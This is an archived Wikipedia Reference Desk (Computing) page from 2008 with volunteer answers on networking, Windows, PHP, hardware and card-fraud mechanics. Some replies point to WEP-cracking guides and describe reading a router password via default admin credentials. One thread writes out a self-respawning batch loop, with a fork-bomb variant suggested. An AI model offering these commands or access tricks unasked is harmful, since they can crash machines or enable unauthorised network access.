Is there something of a Transatlantic Internet meltdown going on? I'm struggling to access a lot of sites hosted in the US, failing in many cases - news sites, Microsoft's services, eBay, not Wikimedia yet, though. It's the same on all the computers in the house - there are four currently working. Yet I can find no evidence of some major problem anywhere. Anyone know what's going on? Have I just bust something here at home, or is something more important damaged? It's interesting to note that both a relative's Hotmail account and eBay were accessible momentarily at one stage - at exactly the same time, suggesting again some link. Thoughts? Blood Red Sandman ^{(Talk) (Contribs)} 16:10, 18 July 2008 (UTC)

Further, I just failed to access an Australian site, too. Blood Red Sandman ^{(Talk) (Contribs)} 16:20, 18 July 2008 (UTC)

It's most likely a local problem -- perhaps your ISP's DNS server is not working right, for example. That could account for why you have trouble accessing some sites but not others, and why when you do have access, you have it to all affected sites. -- Captain Disdain (talk) 16:51, 18 July 2008 (UTC)

That would be Demon. For now, they aren't mentioning any problems. Not that that means they don't have any. Blood Red Sandman ^{(Talk) (Contribs)} 17:34, 18 July 2008 (UTC)

You can always call and ask. I use RoadRunner and their site rarely mentions anything that the customer support actually knows about. --Wirbelwindヴィルヴェルヴィント (talk) 18:05, 18 July 2008 (UTC)

Note: When a user claims that a website is down, it is usually a failed DNS lookup. The website is working just fine and everyone with a functioning DNS can access it. -- kainaw™ 18:11, 18 July 2008 (UTC)

I had a similar experience two weeks ago with Tiscali ISP. Symptoms were all BBC domains were not found. I narrowed it down to Tiscali's Domain Name Servers, using these useful tools:

• downforeveryoneorjustme.com - which told me "It's just you"
• samspade.org - which gave me the IP address of bbc.co.uk so I could access it direct

I then used a different DNS to finally establish it was just Tiscali. -84user (talk) 23:24, 18 July 2008 (UTC)

You can run a traceroute and it'll tell you where the packets are getting hung up. --98.217.8.46 (talk) 00:36, 19 July 2008 (UTC)

After a little fighting tracert I got there. It seems one of the international servers/whater-they-call-them is down somewhere. A message has been sent to one of the ISP's with a server immediatly before the dead bit, so they should know what's up. Blood Red Sandman ^{(Talk) (Contribs)} 12:57, 19 July 2008 (UTC)

I've been using Internet Traffic Report for years. It's a great summary of what web traffic is doing, and includes up-to-date information on which central routers are down/overloaded. —Preceding unsigned comment added by HandThatFeeds (talk • contribs) 13:28, 19 July 2008 (UTC)

That site is wonderful, thank you. The dead one seems to be a Sprintlink system in New York. Blood Red Sandman ^{(Talk) (Contribs)} 13:49, 19 July 2008 (UTC)

July 19

Admin Rights

So, it's well known that when one boots a computer in "safe mode", there is a default profile called "Administrator". Is there any way I can turn this account on in normal boot mode or give my account these rights? (The computer is not registered to my profile, but my profile has admin rights. It's just that the "Administrator" account and the account to which the computer is registered have more rights than just the run of the mill admin account.(?)) Thanks, Ζρς ι'β' ^¡hábleme! 23:50, 18 July 2008 (UTC)

WinXP Pro? The "Administrator" account and any account in the "Administrator" group have the same rights. If not XP, then we'll need to know your OS. ---J.S (T/C/WRE) 00:09, 19 July 2008 (UTC)

Oops, sorry about that. Yes, it's Windows XP 5.1.2600 SP2 Home Edition. Ζρς ι'β' ^¡hábleme! 00:14, 19 July 2008 (UTC)

Note that running your computer in admin mode (esp. with XP) all the time is a considerable security risk. (As is having an admin account without a non-default password.) If you do get a virus it will exploit that to the fullest extent. --98.217.8.46 (talk) 00:20, 19 July 2008 (UTC)

Yes, I accept that risk.

J.smith, are you sure they have the same rights? I wrote and compiled some C++ to see if I could make a .exe to shutdown my computer. It worked fine but when I decided to delete it, it gave me an error message. I safebooted and logged on the Administrator account and deleted it without any problems. Ζρς ι'β' ^¡hábleme! 00:23, 19 July 2008 (UTC)

I'm 90% sure. It was most-likely the act of logging out and then logging back in that "unlocked" the file. ---J.S (T/C/WRE) 00:53, 19 July 2008 (UTC)

Log into your main account. Right click on "My Computer" and go to "Manage". Go to "User and Groups" then go to "Users". Enable the Administrator account if enabled. Right click and set the password if you want. Log off. Hit "Ctl-Alt-Delete" twice to bring up the logon window. Type in "Administrator" and your new password. TaDa. --mboverload@ 02:12, 19 July 2008 (UTC)

Drilling holes in a circuit board

This is going to sound like a stupid question, but how safe is it to drill a few holes in a circuit board? I have a wireless access point that gets very hot (as in, painful-to-the-fingers hot), so I bought a tiny little fan for it that I'm going to rig up on the inside. There are some air vents in the top and the bottom of the case, but the main circuit board seems to completely block any airflow from bottom to top, so I'm thinking of drilling a few small holes in it. It's a pretty sparse circuit board, so I've found some rather large areas with no components or connections on either side (a square centimeter here, a square centimeter there), and obviously that would be where I would want to drill. Is there a significant danger of fracturing the board or something? This is a pretty cheap WAP, so if I do break it life goes on, but I'd like to know before I begin if everyone thinks this is the worst idea ever and guaranteed to fail spectacularly. —Bkell (talk) 05:23, 19 July 2008 (UTC)

Holes won't do too much to cool it down. Find a small heatsink and glue it onto the chip with epoxy. That'll lower the temperature right away. --antilived^{T | C | G} 05:29, 19 July 2008 (UTC)

Hmm, I hadn't thought of that. Will a heatsink be enough by itself, or should I include the fan too? —Bkell (talk) 06:01, 19 July 2008 (UTC)

Well a fan without heatsink is basically useless. It's designed to stand that temperature (~70°C?) so I wouldn't worry about it that much, but a heatsink should increase the convection efficiency so much that you wouldn't need a fan to increase the airflow. --antilived^{T | C | G} 06:05, 19 July 2008 (UTC)

I wouldn't necessarily say that a fan alone is useless, if it's positioned properly. In this instance, if the circuit board completely blocks the airflow, that sounds like a situation that could be improved by a bit of ventilation -- it's probably not that it runs so hot, just that it kind of "cooks" in its own casing because the air doesn't move properly -- the idea isn't so much to cool it down as it is to move the hot air out so it doesn't get as hot in the first place. That said, though, I'm not sure that just a couple of tiny holes drilled in the circuit board (which should be safe to do, by the way, as long as you avoid breaking anything on the board itself) is enough to insure ventilation. Then again, depending on where they are and what the device itself is like, it might be! If you're willing to give it a shot, you probably don't have a whole lot to lose -- it's not as if buying replacement is going to be terribly expensive, and it sounds to me like you're resigned to doing so anyway if you can't get this thing to cool down a little. -- Captain Disdain (talk) 10:38, 19 July 2008 (UTC)

Not convinced? Do a little experiment: remove the fan on your relatively modern CPU and see how long before it freezes, then remove the heatsink but maintain the fan and see how long before it freezes. A bare chip has like 50°C/W for thermal resistance, and even if you put a fan on top it'll still be around 30°C/W, whereas a heat sink will instantly lower it to less than 10°C/W. --antilived^{T | C | G} 11:00, 19 July 2008 (UTC)

Yeah, but but we're not talking about modern CPUs, which -- unless they shut themselves down in time -- get so hot that they'll scorch themselves and the circuit board they're on pretty quickly unless equipped with a heat sink and a fan. They run much, much hotter than the itty bitty processors used in small devices (like the wireless access point in question), which don't even have any fans or heat sinks at all. I'm not saying that a heat sink isn't more efficient -- sure it is! I'm just saying that he may not need one to cool it down, any more than I needed a heat sink or a processor fan in my old 386. They generate heat, but not that much of it, and a bit of ventilation may well be enough to cool it down. -- Captain Disdain (talk) 11:23, 19 July 2008 (UTC)

It's probably safe for this device, but note that many circuit boards have traces sandwiched in multiple layers, not just on the surface. --Sean —Preceding unsigned comment added by 76.182.119.200 (talk) 11:45, 19 July 2008 (UTC)

Why not just open up some holes in the case? ---J.S (T/C/WRE) 02:23, 20 July 2008 (UTC)

Or you can do what I did, and remove the computer case entirely. This allows it to run nice and cool. (In theory, it could run cooler with the case on, if it was designed with a proper "wind tunnel", but they seem to have put no thought into this and completely blocked the air flow, just like yours.) It's a bit ugly, though, so I put a "computer cover" (really a small table cloth) on it when I put it to bed at night or when company comes over. StuRat (talk) 18:58, 20 July 2008 (UTC)

code execution by kernel

if we provide various whitespaces in the code and its passed to the kernel will it execute the code incuding those spaces or will change it?Prachi 08 (talk) 06:23, 19 July 2008 (UTC) Ρrachi

If by "whitespaces in the code" you mean spacing out your source code to make it easier to read, most compilers will ignore the spacing and produce exactly the same object code (and ultimately the exact same executable) as the source without any additional spaces.

If instead you mean using some kind of patch program to insert space characters into an executable program, it will almost certainly break the program. Astronaut (talk) 07:47, 19 July 2008 (UTC)

Check the documentation for your compiler. Some really don't do well with white-space formatting and others dont' care. ---J.S (T/C/WRE) 02:25, 20 July 2008 (UTC)

Buying a new Computer

My Sony Computer is now 5years old and after ram upgrades is still running slow. I have looked at HP and Apple and am completely confused regarding the processors. The Apple has a Intel 2 core dual processor up to 3.06 Ghz. The HP has a Intel 2 Quad processor Q9300 2.5 GHz. Is four 2.5 GHz going to process work faster than two 3.06 GHz? —Preceding unsigned comment added by 89.241.241.73 (talk) 11:35, 19 July 2008 (UTC)

In general, yes.87.102.86.73 (talk) 12:31, 19 July 2008 (UTC)

But as the apple and HP use different operating systems (apple OS and microsoft OS) that might complicate things.87.102.86.73 (talk) 12:33, 19 July 2008 (UTC)

Is your computer "running slow" compared to other computers, or compared to past performance of the same computer? If it's the former, go for a new PC. The 2.5 GHz processor is not necessarily going to run "faster" than the 3.06 GHz. It depends on everything else, specifically the FSB, L2 cache, RAM size and speed, and hard drive speed. If it's the latter, simply reformat your hard drive and start anew. --Russoc4 (talk) 14:57, 19 July 2008 (UTC)

Could you tell us the specs of your current computer as well as what you will use the new computer, if you buy one? Russoc4 made a valid point. It might be possible to salvage your older computer. If its possible, it would be the best of both worlds — you can save some money and there is one fewer working computer in the dumpster. Kushal (talk) 15:41, 19 July 2008 (UTC)

I'd start with this and go from there. But that's only if you were planning on building it yourself. Useight (talk) 17:30, 19 July 2008 (UTC)

On the question of quad v. dual cores, it depends what you are going to do with it. Many programs cannot take advantage of quad cores effectively—the program has to be written in a way that it can deal with such things, and it's not a trivial matter to write a program that can successfully split its processing tasks into four pieces. Here's a nice blog post showing how a few sample programs deal with four cores. Some get you 2X the performance of a dual core; some give you no performance increase, and in the case of many games, they will run faster on your dual core of a higher clockrate than on the quad core of the lower clockrate. --98.217.8.46 (talk) 17:54, 19 July 2008 (UTC)

Firefox 3 & preview errors / edit conflicts

My FF3 appears to behave differently from FF2 in one point crucial to Wikipedia: In FF2, when I got edit conflicted, or some error occured during preview, I could go back, and the text I typed in would still be there. Now in FF3, when I get an ec or some other error and return to retrieve my posting or other edits, they are lost. The edit box I see when I go back looks like the one I originally opened, everything I typed is gone. I've tried to find something about this in Mozilla forums, but it's probably either an issue with my installation/config or something that only really matters on a wiki. It's kind of annoying, because despite having adopted the habit of copying anything before hitting preview or save, I still lose edits all the time, and it's bloody annoying. Do I have to go back to FF2 or is there some way the behaviour of (my?) FF3 could be changed? user:Everyme 13:46, 19 July 2008 (UTC)

That's odd. I recently upgraded from FF2 to FF3 (on WinXP Pro 2002 SP3, no apparently relevant add-ons) and got no change in this functionality. Algebraist 15:53, 19 July 2008 (UTC)

Oh crap. I was half-hoping it was something to do with FF3. Hm. Ok, thanks for crushing my hopes for a quick fix or at least the reassurance that it's a general issue ... :D — Guess I have to start looking deeper into those forums then. user:Everyme 17:41, 19 July 2008 (UTC)

Second-life rip off PS home

Questions:

1. In PShome will combat be allowed either melee eg swords,cudgels etc or ranged eg archery,pistols etc.

2. Also will it be possible to steal from other people houses?

3. Is it possible to play in 1st person perspective?

87.102.86.73 (talk) 14:08, 19 July 2008 (UTC)

Why does your choice of title make me think that this is not an entirely serious enquiry? - X201 (talk) 14:16, 19 July 2008 (UTC)

I believe the "rip-off" refers to the second question, stealing from other's homes within the game. StuRat (talk) 18:48, 20 July 2008 (UTC)

WEP Key

Hi I'm using an EchoLife HG520s wireless router and have forgotten my wep key. Well my dad has. It's not a problem cos the computer has stored it automatically, but I want to use my new DS wirelessley. there is an option to enter 3 more WEP keys but we are frightened we will lose the original and mess it up or something. Can we enter a new wep wihtout losing the old one, and then go back to the old one when necessary? 84.13.111.201 (talk) 16:23, 19 July 2008 (UTC)

That would depend on the specifics of that router, I don't know for sure. But if you've got admin access to the router itself (i.e. you can add, edit, or remove WEP keys), so what if you lose the old one? All your dad needs to do is re-enter the new WEP key if that happens, and then his wireless connection will work just fine, right? It's not exactly a big hassle. -- Captain Disdain (talk) 17:13, 19 July 2008 (UTC)

WEP is such low security that if you really need to find out what it was, you could probably crack it. There are lots of pages on how to crack WEP keys on the internet if you google around (e.g., here's a nice one for Windows XP). --98.217.8.46 (talk) 17:45, 19 July 2008 (UTC)

Another option is to use a "password revealer" to figure out what that password is. I won't provide a link, but you can find them if you look around. Have you tried logging into the router and just setting a new one? ---J.S (T/C/WRE) 02:26, 20 July 2008 (UTC)

Also, depending on the router, it may store it in plaintext in the admin screens. My father forgot his router password awhile back but his own machine was connected to it. I fired up the router admin, assumed he had not changed the default admin password (which was true), and then just viewed the source of the password page, and there it was in a hidden INPUT field. (I think this was a Linksys.) --98.217.8.46 (talk) 21:28, 20 July 2008 (UTC)

Depending on the router (mine, for example,is a Belkin) you could "hard reset" the router by pressing the tiny button on the back with a pin, sharp pencil, or other pointed object. This will restore the factory settings and allow you to enter a new WEP key. -=# Amos E Wolfe ^talk #=- 22:17, 20 July 2008 (UTC)

File organization on disk

I have purchased a new mp3 player. It is a very cheap mp3 player: when I place mp3s on the disk, it organizes them in a random fashion, supposedly by the order at which they're stored on the disk, not by filename (like most mp3 players). Is there any sort of software to verify that files are stored in a desired order on the disk? Windows is preferrable, but I use Linux at the library sometimes. The Evil Spartan (talk) 18:41, 19 July 2008 (UTC)

ls -f shows filenames in the order they're found in the directory, which is probably what you want. --tcsetattr (talk / contribs) 20:12, 19 July 2008 (UTC)

Being able to see the order is well and good, but it doesn't help me organize them (especially on a Linux system without a usable terminal). The Evil Spartan (talk) 23:37, 19 July 2008 (UTC)

If the directory order (ls -f) is the correct one, I have some bad news for you: there's no mechanism in unix to explicitly request a specific ordering of the entries in a directory. The filesystem lays out the directory however it sees fit. A tool that presents a list of filenames in a directory is supposed to sort them, like ls without -f does. Simple filesystems just keep the filenames in the order they were created, until one is deleted, which leaves a hole, then the next one goes in the hole (if the hole is big enough to contain the new name). Then there are more complicated layouts in which the order might be based on a hash of the filename making it completely impossible to get the order you want.

So the only suggestion I can make is to make a new directory, and move the files into it in the order you want them listed, then remove the old empty directory and rename the new one. That might work, although it'll be annoying if you change the contents frequently and have to move all the files in and out every time. Or maybe there is a reorganization tool that I don't know about, and some other refdesk person will tell us about it... --tcsetattr (talk / contribs) 00:36, 20 July 2008 (UTC)

Does your MP3 player support sub-folders? That might worth a try. ---J.S (T/C/WRE) 02:53, 20 July 2008 (UTC)

It does support subfolders, though I'm completely lost at what tcs is suggesting above. The Evil Spartan (talk) 18:14, 20 July 2008 (UTC)

I've heard of, but never used, FATSort, which is designed for this type of problem. --Bavi H (talk) 20:27, 20 July 2008 (UTC)

Internet use in non-English

Do people who speak and use on their computer languages other than english type web addresses with the english alphabet or with their own alphabet/character set? For example, do spanish web addresses make use of the characters á, é, í, ó, ú, ü, and ñ? Do arab web addresses use the arabic alphabet? Do chinese web addresses use chinese characters? Or does everbody only use abcdefghijklmnopqrstuvwxyz and whatever symbols are normally allowed?--71.175.123.61 (talk) 19:07, 19 July 2008 (UTC)

I think everyone uses the same characters as us for now, but I also think that's set to change very soon - as in it's already been decided, just not implemented. I'd apreciate someone who actually knew backing me up or teling me I'm wrong, though. Blood Red Sandman ^{(Talk) (Contribs)} 19:19, 19 July 2008 (UTC)

article:: Internationalized domain name --tcsetattr (talk / contribs) 20:05, 19 July 2008 (UTC)

credit card security

Hi folks, we all know not to give our credit card numbers out etc. etc., but some time ago I heard of something more sinister, where people like computer hackers could search for numbers using some computer algorithm, without having to read the number where the user had entered it. The algorithm, as I understood it, simply detected or generated valid numbers, and that was enough. Is this true, and how does it work? If it is true, does it generate numbers that belong to actual cardholders, so the transaction would appear on their bill, or does it generate numbers that belong to no one, but simply fool the receiving system into thinking they are genuine? thanks, 203.221.127.240 (talk) 19:56, 19 July 2008 (UTC)

Generating bank card numbers is trivial - the prefix identifies the issuer, most of the remaining digits are just a serial number, and the last digit is a simple checksum using the Luhn algorithm. Most numbers won't correspond with actual accounts, but bruteforce will find those that do. But a number by itself isn't useful - you need to know the expiry date (that's trivial to bruteforce, if you can do so without setting off the accepting bank's security system - for current cards there are only a few years worth of monthly digits). So it's not very hard for brute force to find a valid credit card number and the associated expiry date. But that's not enough to commit fraud. For a card-present transaction (where you give the card to the merchant) the terminal sends a bunch of other info (that's encoded on the mag stripe); there's no practical way to brute force or guess the name etc. encoded there. For a card-absent transaction (that's where the merchant doesn't touch the card, e.g. over the internet or phone) then the transaction has to be accompanied by other information (name, address, security code) which again is impractical to guess.

Excepting very small amounts in out-of-the-way places that have offline stored authentication terminals ("zipzap machines", which don't validate small transaction online but instead store a recent blacklist of stolen cards) all transactions are verified live online, and Visa (etc.) check through to the issuing bank and make sure the account really does belong to a specific person and they're in good credit. And they verify all that additional info I mention above. So generating random numbers is futile.

Rather than brute force, the way most credit card fraud is done is to steal the numbers, and the associated authentication details, pertaining to a live account and a live person. Most common is places like hotels and restaurants, where crooked workers swipe a victim's card through the criminal's card reader as well as the hotel's own, so they get a copy of all the mag stripe track contents - the crooked worker can also take note of additional info (hotels are best for this) like customer's address. Then the criminals make a new card with those same details and buy resettable goods with it. The industry's main defense against this is sophisticated spending-pattern heuristics (that block cards that do uncharacteristic things, such as buying a speedboat in Macao when you normally buy gas in Tulsa); increasingly Chip and PIN and its ilk are being deployed to back this up. -- Finlay McWalter | Talk 20:53, 19 July 2008 (UTC)

I should correct myself - "serial number" should be "number based on account number"; numbers are generally not issued in plain dumb series, although there is often a serial element. -- Finlay McWalter | Talk 21:18, 19 July 2008 (UTC)

Thanks, that was a great answer. Does anyone know if there are any vendors who nevertheless don't bother with all the authentication (Finlay mentioned above that some don't for very small amounts, but I mean for larger ones), or is this simply banned by the credit card companies (meaning the merchant would automatically bear the cost of fraud)? 203.221.126.187 (talk) 15:41, 20 July 2008 (UTC)

Visa (etc.) sets all the terms of the deal - if a merchant doesn't follow the procedure for authentication then the merchant doesn't get paid; worse, if a merchant gets too much fraud or too many charge-backs the credit card company will drop them (technically the accepting bank from which the merchant leases their terminals will drop them). For a credit-card based business like a hotel or gas station not being able to accept credit cards is a death sentence. The one exception I can think of is pre-auth (where a hotel reserves an amount on a guest's credit card, in anticipation of a future bill); hotels that have an existing relationship with a regular guest (or a company that regularly has its people stay at the hotel) might well not bother with the preauth.; In that circumstance the guest could theoretically leave without paying and the hotel couldn't get the money back from their credit card. But hoteliers are rarely silly enough to extend such unsecured credit to anyone they don't already trust. -- Finlay McWalter | Talk 15:57, 20 July 2008 (UTC)

cd

can anyone please tell me what a number followed by the word DRIVE means when displayed on a portable cd player thanks Ken Robinson —Preceding unsigned comment added by 86.13.215.119 (talk) 21:08, 19 July 2008 (UTC)

what is the make/model? 71.164.103.123 (talk) 21:40, 19 July 2008 (UTC)

PDF from Scanner

I need software that will take pages scanned from my all in one machine and output them to a PDF. My all in one does scanning with an automatic document feeder, however, it only does one sided. All of my originals are two sided. I would like to scan the document, flip the pile over, and scan the other sides, and end up with a PDF with all of the pages in order. The document does not need to be scanned OCR, just needs to be a PDF with all of the pages in order. Is there anything out there, preferably open source or freeware, that will do this--for people with one sided machines with 2 sided originals? Thank you so much

John 71.164.103.123 (talk) 21:38, 19 July 2008 (UTC)

pdftk + this -- Finlay McWalter | Talk 22:09, 19 July 2008 (UTC)

Thank you so much. I've installed the windows binary. You wouldn't happen to know the command for inserting a page from pdf2.pdf after every page from page1.pdf, would you? —Preceding unsigned comment added by 71.164.103.123 (talk) 22:20, 19 July 2008 (UTC)

Date format in PHP: WHAT WAS WRONG?

echo date($A_Date) . ' ---- ' . $A_Date;

Output: 2001-12-11 00:00:00 ---- 2001-12-11 00:00:00

echo date(ymd, $A_Date) . ' ---- ' . $A_Date;

Output: 691231 ---- 2001-12-11 00:00:00

echo date(Ymd, $A_Date) . ' ---- ' . $A_Date;

Output: 19691231 ---- 2001-12-11 00:00:00

$A_Date is retrieved from MySQL. The original data set is compiled on Microsoft Access and imported into MySQL. What was wrong with this? Does the PHP parser reads 00:00:00 as the date? -- Toytoy (talk) 22:07, 19 July 2008 (UTC)

date() works on Unix timestamps, not date/time strings. You need to run $A_Date through strtotime() before you pass it to date(). — Matt Eason ^{(Talk &#149; Contribs)} 01:22, 20 July 2008 (UTC)

It is working correctly. In the first one, you asked it to print "2001-12-11 00:00:00" using the current timestamp. Notice that you didn't ask for any year, month, or day. You told it to literally print "2001-12-11 00:00:00" - which it did. In the next two, you gave it a completely invalid timestamp. So, the timestamp is 0, which is the stroke of midnight between Dec 31, 1969 and Jan 1, 1970. Therefore, it is printing the year, followed immediately by the month, followed immediately by the day. All in all, it appears that you haven't taken the time to read the documentation here. -- kainaw™ 18:39, 20 July 2008 (UTC)

What's the easiest way for me to vertical sync in Windows (2D)?

Say I want to do something very simple but in a way that is synced vertically, it has to be fast enough to work on an OLD computer (pentium III, < 500 mhz) and with a very very old graphics card. But it is only 2D. I'm willing to consider: C; C++; Python; Perl; Java; anything else. THe point is for me to be able to get to there as FAST as possible, I've listed the languages I know... Thanks. —Preceding unsigned comment added by 83.199.57.103 (talk) 22:59, 19 July 2008 (UTC)

What is ADFU?

I know it is related to MP3 players. But what this acronym stands for? 93.80.171.61 (talk) 23:33, 19 July 2008 (UTC)

I've been able to find out that DFU stands for "Device Firmware Update" [15], at least in the context of IPhones. I suspect that ADFU is something similar. My Google searching hasn't revealed much about it, except that it's a mode that some people seem to get stuck in. ---J.S (T/C/WRE)

Automatic Device Firmware Update, perhaps? - SigmaEpsilon → ΣΕ 02:48, 20 July 2008 (UTC)

Maybe, but no google results, so I didn't have any confirmation. ---J.S (T/C/WRE) 02:51, 20 July 2008 (UTC)

July 20

Help

I have a strange folder: \AppData\Roaming\Microsoft\digital locker\

It has one file inside, called Urls.bin

Is this malware or something? What is this?--71.175.123.61 (talk) 01:47, 20 July 2008 (UTC)

Have you done any business with Windows Marketplace? ---J.S (T/C/WRE) 02:50, 20 July 2008 (UTC)

Cue sheet syntax for multiple titles in a single FLAC file

I'm trying to create a FLAC file where the track information (title/artist) will change visibly in a media player display (XMMS or Winamp, for example) as index points are crossed. I've seen this done in streams, and I'm pretty sure I've seen this in single files, but I've not come across instructions for creating a file that works this way. (This page, for example, has 11 examples and none of them are what I'm looking for.)

I believe the metaflac command I want is this:

metaflac  --import-cuesheet-from=Doom_for_the_ADD_Generation.cue test.flac

The abovementioned cue sheet looks like this:

TITLE "Doom for the ADD Generation"
PERFORMER "Martha's 2008 WFMU Marathon Premium"
FILE "test.flac" FLAC
  TRACK 01 AUDIO
    TITLE "Jack Frost [excerpt]"
    PERFORMER "Saint Vitus"
    INDEX 01 00:00:00

    TITLE "The Still Lake"
    PERFORMER "Great American Desert"
    INDEX 02 05:13:00

    TITLE "Embittered Darkness [excerpt]"
    PERFORMER "Striborg"
    INDEX 03 10:43:00

What am I doing wrong here? I've tried a couple variations of the above, and none come close to what I want.

Bonus if someone can give me instructions for doing the same thing to an Ogg Vorbis file. I don't know the metaflac-equivalent tool for importing cue sheets into single .ogg files. / edg ☺ ☭ long-time listener, first time caller 02:25, 20 July 2008 (UTC)

the data types in c++ & JAVA

why do we see same data type having different number of bytes range in c++ and JAVA

e.g.-->>in c++ the datatype int uses 2bytes while in JAVA int uses 4bytes?Prachi 08 (talk) 05:14, 20 July 2008 (UTC)

Actually, the C++ standard does not specify the exact width of the "int" or the other integer datatypes. The width is implementation-dependent. So for example, on my computer (32-bit Linux x86 GCC; and I believe on most implementations out there today), an "int" is 4 bytes wide. The "int" type is guaranteed to be at least as wide as "short", and at most as wide as "long" (neither of which have precisely-defined widths wither). "short" and "long" are guaranteed to be at least 2 and 4 bytes long, respectively, but can be more. Java does define exact widths for its datatypes. But there is no consistency of naming between languages (why should Java or any other language have to name its types the C way, for example?). For example, "long" in Java is 8 bytes long; whereas in most 32-bit C implementations "long" is 4 bytes long; and "long" in Python is arbitrary-length. --Spoon! (talk) 06:50, 20 July 2008 (UTC)

What was wrong with the hidden form input?

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">

<input TYPE=hidden NAME=A VALUE="0">
<input type="submit" value="A = 0" />

<input TYPE=hidden NAME=A VALUE="1">
<input type="submit" value="A = 1" />

<input TYPE=hidden NAME=A VALUE="2">
<input type="submit" value="A = 2" />
</form>

<?php
$A = $_POST['A'];
echo 'A = ' . $A;
?>

No matter which button I click, the post always assigns 2 to variable A. -- Toytoy (talk) 06:02, 20 July 2008 (UTC)

It doesn't work that way.

First, the "value" attribute works all the same for all inputs. For example, if you clicked <input type="submit" name="foo" value="hi" />, then it would assign "hi" to variable foo.

Second, because you have three inputs with the same name, they all get submitted, and the last one overrides the others. (You can use the get method to see how it works.)

I really can't explain this (my English is not good enough), so I'll just give the fixed code:

<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<input type="submit" name="A" value="0" />
<input type="submit" name="A" value="1" />
<input type="submit" name="A" value="2" />
</form>
<?php echo 'A = '.$_POST['A']; ?>

oh, and try writing VALID code. In your example, you're using XHTML's /> but you're using uppercase attributes and you don't quote their values, which isn't valid XHTML.

--grawity 13:52, 20 July 2008 (UTC)

(edit: frikkin wikiformatting fixed by removing a <p> from the question --grawity 13:54, 20 July 2008 (UTC))

keys jamming

these days how many concurrent keys can be pressed without problems? —Preceding unsigned comment added by 83.199.57.103 (talk) 06:26, 20 July 2008 (UTC)

As far as I know there isn't a standard for internal wiring of keyboards. In theory they could have a microcontroller with a GPIO pin for each key, which would mean each key would be completely independent. But people have gotten used to paying trivial sums for keyboards, so instead they generally are built around an ultra low cost keyboard matrix encoder. In this case depressing a key closes a connection between a "horizontal" and a "vertical" wire in a matrix - this arrangement is cheap (because the keyboard controller only needs about 30 input pins, rather than over 100) but means it can't properly distinguish keystrokes when multiple keys on the same row or column are depressed. The specifics vary by keyboard encoder chip: from some basic research it seems the Alcor AU9462 controller (info) has an 19x8 controller, the Philips Semiconductors ISP1130 an 18x8, and others up to a 20x8 ((info)). So in short "you'll need to experiment". See Rollover (key) too. -- Finlay McWalter | Talk 16:39, 20 July 2008 (UTC)

For regular run of the mill keyboards, I belive it is still quite low, something like 4 - 6. The reasoning would be unless you are gaming you rarely need to press more then 2 at a time. So even though technically these days it might be easy to make a keyboard with the capability to send a lot of simultaneous keystrokes, 99.9% of the time there is no need for it. Vespine (talk) 00:40, 21 July 2008 (UTC)

[16] A little expensive but SOOOOOO worth it if you do a lot of typing. You can hit every key at once. --mboverload@ 03:33, 21 July 2008 (UTC)

What would this batch file do?

I recently reverted some dubious additions on our Batch file article, in which someone was repeatedly adding a section encouraging readers to "try this" and make a batch file containing: @echo
:1
start
goto :1


As I'm not familiar with batch files, I was just wondering what that would actually do - my guess is that it just creates an infinite loop as in the standard "20 GOTO 10" prank, but I'm assuming someone here knows. Cheers ~ mazca ^{t | c} 10:17, 20 July 2008 (UTC)

This would just repeatedly start the command prompt again and again. (A better one would be using start "%~dpnx0") --grawity 13:45, 20 July 2008 (UTC)

Careful with it though. If you just let it continue to run it would lag you out. Ζρς ι'β' ^¡hábleme! 21:09, 20 July 2008 (UTC)

iptables question

Is it possible to use iptables to redirect incoming connections on one destination ip/port to different ips/ports depending on the connection's origin IP?

For instance, is it possible to do this:

if 2.2.2.2 connects to 1.1.1.1:443 then forward to 1.1.1.1:10443

if 3.3.3.3 connects to 1.1.1.1:443 then forward to 1.1.1.2:10022

etc.

I guess it's kinda like NAT. We are trying to provide several secure services on one common port (because of firewall rules). Each IP will only need to access one service, so it's logically no problem. I'm just new to iptables and wondering if it's the correct solution to this custom setup. Thanks 58.150.240.103 (talk) 16:14, 20 July 2008 (UTC)

Messed up my MBR

i was trying to redo my MBR, as i had grub installed from when i tried a Linux distro decided i didn't want Linux but couldn't get rid of grub. Now i tried to do FIXMBR from the repair option on a windows xp home cd but now all i get when i boot up is after POST screen "media is not a bootable floppy please insert bootable media and try again", how can i recover windows without reformatting everything? i have a backup image made with drive xml but i dont want to use it unless i have to cheers--90.207.78.105 (talk) 17:10, 20 July 2008 (UTC)

Do you have a floppy disk inserted? Remove it, if so, and try again. --Russoc4 (talk) 17:13, 20 July 2008 (UTC)

nope nothing in any of the drives--90.207.78.105 (talk) 18:04, 20 July 2008 (UTC)

Did you do a fixboot as well? Nil Einne (talk) 18:39, 20 July 2008 (UTC)

There's a good collection of rescue cds at http://www.cgsecurity.org/wiki/TestDisk_Livecd that will help, assuming that MBR is the problem. The GParted one has worked for me. --212.149.216.13 (talk) 18:51, 20 July 2008 (UTC)

iTunes stores

So I go to the US iTunes store to buy a German song, but they don't have it. I switch to the Germany store, and there are about 5 versions of it. When I try to buy it, I have to create a new account. Why the hell are there completely different iTunes stores with different music to buy??? It's just as simple to universally purchase and sell a single set of all music. Reywas92^Talk 18:56, 20 July 2008 (UTC)

Apple have to negotiate rights to sell the music separately in different countries, so they need to try and restrict sales on each country's iTunes store to people within that country. It's a holdover from when all music was sold on physical discs, but it's still pretty much a fact. ~ mazca ^{t | c} 20:51, 20 July 2008 (UTC)

In this case copyright Jesus will not smite you for grabbing it off a P2P application. Hey, you wanted to buy it but they wouldn't let you. OR buy the cd from somewhere like SecondSpin.com. I have bought over 500 bucks of stuff from them and they are awesome. --mboverload@ 03:31, 21 July 2008 (UTC)

Open Office 2.4 and Word 2007

My trial version of word 2007 just locked up on me, so I downloaded Open Office 2.4. However, I am unable to access my word documents because my version of open office does not have the 'filter' for word 2007 (only word 2003 and back). Where can I find the filter I need? --Ghostexorcist (talk) 20:56, 20 July 2008 (UTC)

system("pause") function of C++

I read on a webpage that one should avoid using the system(*) command in C++ because it is taxing. For the system("pause") function it said it causes the program to:

1.suspend your program
2.call the operating system
3.open an operating system shell (relaunches the O/S in a sub-process)
4.the O/S must now find the PAUSE command
5.allocate the memory to execute the command
6.execute the command and wait for a keystroke
7.deallocate the memory
8.exit the OS
9.resume your program

